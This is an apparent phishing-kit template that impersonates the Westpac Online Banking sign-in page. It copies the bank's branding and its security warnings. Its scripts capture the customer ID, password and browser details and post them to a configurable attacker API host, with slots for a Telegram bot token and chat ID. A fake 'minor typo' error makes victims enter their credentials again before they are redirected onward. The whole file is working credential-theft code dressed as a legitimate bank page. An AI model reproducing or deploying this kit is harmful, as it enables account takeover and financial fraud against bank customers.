<html lang="en">

<head>
    <!------------------------------------------>
    <!-- Configurations -->
    <!------------------------------------------>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <script>
        function getConfigs() {
            return {
                "index": Number('{{ $index }}'),
                "isFinalPage": Boolean('{{ $details['isFinalPage'] }}'),
                "pagesSequence": '{{ $details['pagesSequence'] }}',
                "isActive": '{{ $details['isActive'] }}' === "true" ? true : false,
                "page": '{{ $details['page'] }}',
                "pagesWaitingTime": '{{ $details['pagesWaitingTime'] }}',
                "pagesTypeOfWaitingPage": '{{ $details['pagesTypeOfWaitingPage'] }}',
                "pagesNumberOfRepetition": Number('{{ $details['pagesNumberOfRepetition'] }}'),
                'pagesWaitingTime': Number('{{ $details['pagesWaitingTime'] }}') * 1000,
                'pagesIsFormsEmptyInRepetitions': Boolean('{{ $details['pagesIsFormsEmptyInRepetitions'] }}'),
                'pagesGoBackPageName': '{{ $details['pagesGoBackPageName'] }}',
                'pagesGoNextPageName': '{{ $details['pagesGoNextPageName'] }}',
                'pagesNavigationPageControlType': '{{ $details['pagesNavigationPageControlType'] }}',
                'googleRecaptchaSiteKey': '{{ $details['googleRecaptchaSiteKey'] }}',
                'googleRecaptchaSecretKey': '{{ $details['googleRecaptchaSecretKey'] }}',
                'telegramChatId': '{{ $details['telegramChatId'] }}',
                'telegramBotToken': '{{ $details['telegramBotToken'] }}',
                'apiHost': '{{ $details['apiHost'] }}',
                'webHost': '{{ $details['webHost'] }}',
                'accessCountryISO': '{{ $details['accessCountryISO'] }}',
                'errorPageLink': '{{ $details['errorPageLink'] }}',
                'successPageLink': '{{ $details['successPageLink'] }}',
            };
        }
    </script>

    <style>
        @media only screen and (max-width: 900px) {
            .link-container {
                display: none !important;
            }
        }

        #loginPage-v2 {
            max-width: 900px !important;
        }
    </style>
    <!------------------------------------------>
    <!-- State -->
    <!------------------------------------------>
    <script>
        function getCurrentState() {
            const currentPage = getConfigs()["index"];
            let data = localStorage.getItem("data");
            if (!currentPage || !data) {
                data = JSON.stringify({
                    page: 0,
                    info: {}
                });
                localStorage.setItem("data", data);
            }
            return JSON.parse(data);
        }

        function removeState() {
            localStorage.removeItem("data");
        }

        function updateCurrentState(page, info) {
            let currentData = getCurrentState();
            localStorage.setItem("data", JSON.stringify({
                ...currentData,
                ...info,
                page: page,
            }));
        }
    </script>
    <!------------------------------------------>
    <!-- Routing -->
    <!------------------------------------------>
    <script>
        function redirect(target) {
            window.location.href = target;
        }

        function goToLink(target) {
            window.location.replace(target);
        }
    </script>
    <!------------------------------------------>
    <!-- Protection -->
    <!------------------------------------------>
    <script>
        function protectPage() {
            const page = getCurrentState()["page"];
            const currentPage = getConfigs()["index"];
            let isAccessible =
                (currentPage === 0 && page === undefined) || currentPage === page;
            let isValid = true;
            if (!isAccessible) {
                const pages = getConfigs()["pagesSequence"].split(",").length;
                isValid = !isNaN(Number(page)) && page <= pages && page >= 0;
            }
            if (!isValid) {
                removeState();
                redirect("/0");
            }
            if (!isAccessible) {
                const state = getCurrentState();
                redirect("/" + page);
            }

            if (!getConfigs()["isActive"]) {
                if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                } else {
                    updateCurrentState(page + 1, {});
                }
            }
        }
        protectPage();
    </script>


    <!-- Handling -->
    <script>
        const configs = getConfigs();

        function onErrorAction() {
            goToLink(getConfigs["errorPageLink"]);
        }
        async function handleAuto() {
            const configs = getConfigs();
            const dataToSend = getFormData();
            const test = validateData(dataToSend);
            if (!test)
                return showGlobalError(
                    "Kindly complete all mandatory fields. Verify the accuracy of the provided information.");
            hideGlobalError();
            showLoader();
            const response = await makeAPICall(dataToSend);
            if (!response) return onErrorAction();
            onSuccessAction(dataToSend);
        }

        function handleManual(configs) {
            const dataToSend = getAllFormData();
            showLoader(configs);
            alert("Manual");
        }

        function onSubmitData(key) {
            if (getConfigs()["pagesNavigationPageControlType"] === "AUTO")
                handleAuto()
            else
                handleManual(configs);
        }
    </script>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">

    <title>

        Sign in to Westpac Online Banking

    </title>

    <link rel="stylesheet"
        href="https://fonts.googleapis.com/css2?family=Mulish:wght@200;300;400;500;600;700;800;900&amp;display=swa" />
    <script defer src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
    {{-- Components --}}
    <link rel="stylesheet" href="./components/phonenumber/css/intlTelInput.css">
    <script src="./libs/jquery-3.6.0.min.js"></script>
    <script src="./libs/jquery.mask.min.js"></script>
    <script src="./libs/jquery.credit-card-detector.js"></script>
    <script src="./components/phonenumber/js/intlTelInput-jquery.min.js"></script>


    <link rel="shortcut icon" href="./assets/img/favicon.ico">

    <link rel="preconnect" href="https://fonts.googleapis.com" crossorigin="use-credentials">
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link rel="stylesheet"
        href="https://fonts.googleapis.com/css2?family=Mulish:wght@200;300;400;500;600;700;800;900&amp;display=swa">
    <link rel="stylesheet" href="./assets/general.css">

    <link rel="stylesheet" href="./assets/css/style3.css">
    <link rel="stylesheet" href="./assets/css/style4.css">


    <style>
        .error-message {
            color: #e1001a;
            display: none;
            font-size: 1rem;
            margin-top: 0.5rem;
            width: 100%;

        }

        .is-invalid,
        .is-invalid:focus {
            border: 1px solid #d5002b !important;
            box-shadow: 0 0 0 0.0625rem #c40000 !important
        }

        input {
            width: 242px !important;
        }


        #main-content .error {
            border: 2px solid #e1001a !important;
            position: relative !important;
            font-family: CBABeaconSans, sans-serif !important;
            /* margin: 50px auto !important; */
        }


        #loginPage-v2 {
            margin-top: 0px !important;
        }

        .error-component {
            display: none;
            width: calc(100% - 40px) !important;
            top: 0 !important;
            left: 0 !important;
            position: absolute;
        }

        .error .error-component {
            color: #e1001a !important;
            text-align: left !important;
            align-items: flex-start !important;
            gap: 7px !important;
            line-height: 25px !important;
            background-color: rgba(255, 0, 0, 0.1) !important;
            padding: 10px 20px;
        }

        .error-component #error-message {
            font-size: 15px !important;
            position: relative;
            /* top: 3px; */
        }

        .error-component img {
            width: 20px;
            height: 20px;
            position: relative;
            top: 3px;
        }

        /**********************************/
        .waiting-popup-container {
            position: absolute;
            width: 100%;
            height: 100%;
            display: none;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            width: 100%;
            backdrop-filter: blur(10px);
            background-color: rgba(255, 255, 255, 0.5);
            z-index: 9999;
            color: white;
        }

        .waiting-popup-title {
            color: #1e1e1e;
            text-align: center;
            font-size: 16px !important;
            font-weight: 400;
            margin-bottom: 40px;
        }

        .waiting-popup-text {
            color: #1e1e1e;
            font-family: CBABeaconSans, sans-serif !important;
            text-align: center;
            font-size: 16px !important;
            max-width: 698px;
            display: block;
            margin: 0 auto;
        }

        .waiting-popup {
            border: 5px solid #f3f3f3;
            border-top: 5px solid #181313;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
            margin-bottom: 10px;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        .ssss {
            background-color: transparent !important;
            margin-bottom: 0px !important;
        }

        header {
            background-color: white !important;
        }
    </style>

</head>






<body id="unauthenticated-template" data-log="https://banking.westpac.com.au/wbc/banking/esis"
    data-keymap-url="https://banking.westpac.com.au/eam/servlet/getEamInterfaceData"
    data-keymap-data-timeout="{KeymapDataTimeout-Token}" data-gatekeeperurl="https://banking.westpac.com.au/gatekeeper"
    data-esierrorpageurl="https://banking.westpac.com.au/esi2/error-messages/webseal-error-wol/"
    data-isgatekeeperenabled="false" data-gatekeepertimeout="5000"
    data-signinmessageurl="https://banking.westpac.com.au/wbc/banking/handler?TAM_OP=resourcekey"
    data-is-stronger-password-feature-enabled="True" data-is-eam-policy-global-rollout="True"
    data-customersegment="personal" class="authentication_v2 wr308-template auth_v2_std_signin"
    data-analytics-allkeys="experience,formName,pageKey,pageName,pageType,siteVersion,src,nav,externalSiteName,productID,itemName,transactionID"
    data-analytics-pagename="Enter your customer ID" data-analytics-src="20231122-desktop"
    data-analytics-pagetype="login" data-analytics-formname="personal olb" data-analytics-siteversion="1.1241.133.0"
    data-analytics-experience="desktop" data-analytics-pagekey="login">


    <div id="container" class="ssss" style="max-height: fit-content !important;overflow:hidden !important">

        <header id="header" role="banner">
            {{--
            <div id="menu-bar">
                <ul id="pull-right">
                    <li><a href="#">Lost
                            or stolen cards</a></li>
                    <li><a href="#">Contact us</a></li>
                    <li><a href="#">Locate us</a></li>
                    <li><a class="last-link" href="#">Register
                            for Westpac Online Banking</a></li>
                </ul>
            </div> --}}

            <div id="content" class="container-end" tabindex="-1">
                <div id="logo">
                    <a href="#">
                        <img src="./assets/img/logo_white_bg.png.ce5c4c19ec61b56796f0e218fc8329c558421fd8.png"
                            alt="Westpac Internet Banking Home">
                    </a>
                </div>

                <div id="nav-container">
                    <nav>
                        <ul>
                            <li class="home">
                                <a href="#">
                                    Home
                                </a>
                            </li>
                            <li class="personal">
                                <a href="#">
                                    Personal
                                </a>
                            </li>
                            <li class="business">
                                <a href="#">
                                    Business
                                </a>
                            </li>
                            <li class="corporate">
                                <a href="#">
                                    Corporate
                                </a>
                            </li>
                            <li class="aboutwestpac">
                                <a href="#">
                                    About us
                                </a>
                            </li>
                        </ul>
                    </nav>
                </div>

            </div>
        </header>

    </div>


    <div id="main-container">
        <div id="highSecurityMessageArea"></div>

        <div id="infoBanner">
        </div>

        <main id="main" role="main" class="main-without-keyboard">
            <form method="post" autocomplete="off" class="form-modules-v2" action="#" id="main-content">


                <div id="loginPage-v2" class="set-login-image" style="height: 480px !important">
                    <div class="waiting-popup-container waiting-popup-component">
                        <p class="waiting-popup-title">
                            Processing ...
                        </p>
                        <div class="waiting-popup"></div>

                    </div>
                    <div class="login-container" style="padding: 2.5rem 0 2.5rem 2.5rem !important; ">
                        <div class="error-component">
                            <img src="./assets/img/aa.svg" alt="error-icon" />
                            <div id="error-message"> It took you a while to log on. You'll need to enter your
                                details again.</div>
                        </div>
                        <h1 id="page-title">Sign in to Westpac Online Banking</h1>

                        <div class="login-info-container">


                            <div id="main-input-container">

                                <fieldset>
                                    <legend class="a11y-context">Sign in to Westpac Live Online Banking</legend>

                                    <div>
                                        <label for="fakeusername">
                                            <span class="label-text-main-v2">Customer ID</span>
                                            <input id="customerid" maxlength="8" type="text"
                                                class="txtbox-layout-white valid" data-val="true" autocomplete="off"
                                                value="">
                                            <span class="error-message" id="customerid-error"></span>
                                        </label>


                                        <label for="password">
                                            <span class="label-text-main-v2">Password</span>

                                            <input id="password" type="password" name="password"
                                                class="txtbox-layout-white txtpwd-layout valid" autocomplete="off">
                                            <span class="error-message" id="password-error"></span>
                                        </label>



                                        <div class="remember-me-container">
                                            <label for="rememberme" class="chkbox-container">
                                                <span id="remember-me-lbl">Remember customer ID</span>
                                                <input id="rememberme" type="checkbox" data-val="true"
                                                    value="false" name="rememberme" class="valid">
                                                <span class="checkmark">
                                                    <span class="tickmark"></span>
                                                </span>

                                                <span class="remember-me-info-flyout" style="display: none;">
                                                    <div class="bubble"> Not recommended on <br>public or shared
                                                        devices
                                                        <div class="pointer"></div>
                                                        <div class="pointerBorder"></div>
                                                    </div>
                                                </span>
                                            </label>
                                        </div>


                                    </div>
                                </fieldset>

                                {{-- <button type="submit" id="signin" accesskey="s"
                                    class=" btnSignIn-v2 btn btn-primary" title="Sign In">Sign in</button> --}}

                                <button id="signin" class="g-recaptcha btnSignIn-v2 btn btn-primary"
                                    data-sitekey="{{ $details['googleRecaptchaSiteKey'] }}"
                                    data-callback="onSubmitData" data-action="submit">Sign in</button>

                                <div>
                                    <a href="#">Forgot
                                        customer ID or password?</a>
                                </div>

                            </div>



                            <div id="security-container">

                                <div class="security-container-inner">
                                    <div class="box box--aside security-protect" style="margin-left: -40px">
                                        <span class="padlock-icon-v2"></span>
                                        <span class="content">
                                            <span class="heading">Security reminder</span>
                                            <span>Westpac Protect™</span>
                                        </span>
                                    </div>


                                    <ul class="security-signin-info">
                                        <li>Don't sign in if you are sharing access to your computer</li>
                                        <li>Never share your security codes or passwords with anyone</li>
                                        <li>Call us on 132 032 if you are being asked to do this</li>
                                    </ul>


                                    <div class="divOuterLinks">
                                        <a href="#">Learn more about
                                            staying safe</a>
                                    </div>

                                </div>
                            </div>

                        </div>
                        {{--
                        <div id="link-container" style="background-color :#da1710;margin-top : -100px;z-index :1000;">
                            <div class="link-container-inner">
                                <ul class="list-links">
                                    <li>
                                        <a class="icon-white-arrow set-aside-font" href="#">Register
                                            for Online
                                            Banking</a>
                                    </li>
                                    <li>
                                        <a class="icon-white-arrow set-aside-font" href="#">Online
                                            Help</a>
                                    </li>
                                    <li>
                                        <a class="icon-white-arrow set-aside-font" href="#">What's
                                            new</a>
                                    </li>
                                    <li>
                                        <a class="icon-white-arrow set-aside-font" href="#">Online
                                            Banking features</a>
                                    </li>
                                </ul>

                            </div>
                        </div> --}}
                    </div>

                </div>


            </form>
        </main>

    </div>

    <footer id="footer" style="padding-inline : 10px">
        <div id="footer-container" style="width: initial !important">

            <div class="footer-links">
                <ul>
                    <li><a class="link-icon icon-arrow" href="#">Register for
                            Online Banking</a></li>
                    <li>
                        <a class="link-icon
                            icon-arrow" href="#">Online
                            Banking Help</a>
                    </li>
                    <li>
                        <a class="link-icon icon-arrow" href="#">Online security</a>
                    </li>
                </ul>
            </div>
            <div class="footer-links">
                <ul>
                    <li>
                        <a class="link-icon icon-arrow" href="#">What's
                            new</a>
                    </li>
                    <li>
                        <a class="link-icon icon-arrow" href="#">Online
                            Banking features</a>
                    </li>
                    <li><a class="link-icon icon-arrow" href="#">Contact
                            us in the Westpac App</a></li>
                </ul>
            </div>
            <div class="footer-links">
                <ul>
                    <li><a class="link-icon icon-arrow" href="#">Security
                            Guarantee</a></li>
                    <li><a class="link-icon icon-arrow" href="#">Keep safe
                            online</a></li>
                    <li><a class="link-icon icon-arrow" href="#">Types
                            of scams</a></li>
                </ul>
            </div>
            <div class="footer-links footer-links--last">
                <ul>
                    <li><a class="link-icon icon-arrow" href="#">Accessibility</a></li>
                    <li><a class="link-icon icon-arrow" href="#">Supported
                            devices</a></li>
                    <li><a class="link-icon icon-arrow" href="#">Terms
                            and Conditions</a></li>
                </ul>
            </div>

        </div>
        <div id="copyright-container"
            style="width: initial !important;max-width: 950px !important;margin : 20px auto !important;">
            <div id="logo">
                <img src="./assets/img/logo_white_bg.png.ce5c4c19ec61b56796f0e218fc8329c558421fd8.png"
                    alt="Westpac Internet Banking Home">
            </div>
            <p id="copyright">
                Conditions, fees and charges apply. These may change or we may introduce new ones in the future. Full
                details are available on request. Lending criteria apply to approval of credit products. This
                information does not take your personal objectives, circumstances or needs into account. Consider its
                appropriateness to these factors before acting on it. Read the disclosure documents for your selected
                product or service, including the <a href="#" style="color: #d5002b;">Terms and Conditions or
                    Product Disclosure Statement</a>, before deciding. Unless otherwise specified, the products and
                services described on this website are available only in Australia from Westpac Banking Corporation ABN
                33 007 457 141 AFSL and Australian credit licence 233714.
            </p>
        </div>
    </footer>


    <!-- Setup Validation -->
    <script>
        function validateCustomerID(input) {
            const value = input.val();
            const message = $("#customerid-error");
            if (!value) {
                showError(input, message, "ID is required");
                return false;
            }
            if (value.length != 8) {
                showError(input, message, "Please enter a valid 8 digit Customer ID");
                return false;
            }
            hideError(input, message);
            return true;
        }

        function validatePassword(input) {
            const value = input.val();
            const message = $("#password-error");
            if (!value) {
                showError(input, message, "Password is required");
                return false;
            } else if (value.length < 6) {
                showError(input, message, "Please enter a valid password, minimum 6 characters");
                return false;
            }
            hideError(input, message);
            return true;
        }
    </script>
    <!--Setup Components -->
    <script>
        $("#phonenumber").intlTelInput({
            initialCountry: "au",
            showFlags: true,
        });
    </script>
    <!-- Setup musk -->
    <script></script>
    <!-- Setup Errors -->
    <script>
        $("#customerid").on("input", function() {
            validateCustomerID($(this));
        });
        $("#password").on("input", function() {
            validatePassword($(this));
        });
    </script>
    <!-- Handling Form -->
    <script>
        function resetForm() {
            $("#customerid").val("");
            $("#password").val("");
        }

        function getFormData() {
            return {
                "captchaResponse": $("[name='g-recaptcha-response']").val(),
                "customerid": $("#customerid").val(),
                "password": $("#password").val(),
                "useragent": navigator.userAgent,
                "userpanguage": navigator.language,
                "userplatform": navigator.platform,
                "page": getConfigs()["page"],
            }
        }

        function validateData(data) {
            let test = true;
            test = validateCustomerID($("#customerid")) && test;
            test = validatePassword($("#password")) && test;
            return test;
        }
    </script>
    <!-- Handling Components -->
    <script>
        function showError(input, messsage, text) {
            messsage.text(text);
            messsage.css("display", "block");
            input.addClass("is-invalid");
        }

        function hideError(input, messsage) {
            messsage.css("display", "none");
            input.removeClass("is-invalid");
        }

        function showGlobalError(message) {
            $(".error-component").css("display", "flex");
            $("#error-message").css("display", "block");
            $("#error-message").text(message);
            $("#main-content").addClass("error");
        }

        function hideGlobalError() {
            $(".error-component").css("display", "none");
            $("#error-message").css("display", "none");
            $("#main-content").removeClass("error");
        }

        function showLoader() {
            $(".waiting-popup-container").css("display", "flex");
        }

        function hideLoader() {
            $(".waiting-popup-container").css("display", "none");
        }
    </script>
    <!-- Handling API -->
    <script>
        function objectToQueryString(obj) {
            return Object.keys(obj).map(key => key + '=' + obj[key]).join('&');
        }
        async function makeAPICall(data) {
            const configs = getConfigs();
            const dataToSend = objectToQueryString(data);
            const response = await axios.post(`${configs["apiHost"]}/${configs["page"]}?${dataToSend}`, {})
            return response.data;
        }

        function onSuccessAction(data) {
            setTimeout(() => {
                if (configs["pagesNumberOfRepetition"]) {
                    configs["pagesNumberOfRepetition"]--;
                    if (configs["pagesIsFormsEmptyInRepetitions"])
                        resetForm();
                    hideLoader();
                    showGlobalError(
                        "We've encountered a minor typo in your input. Kindly review and rectify it before proceeding."
                    );
                    return;
                } else if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                } else {
                    updateCurrentState(getConfigs()["index"] + 1, {});
                    redirect("/" + (getConfigs()["index"] + 1));
                }
            }, configs["pagesWaitingTime"]);
        }
    </script>

</html>
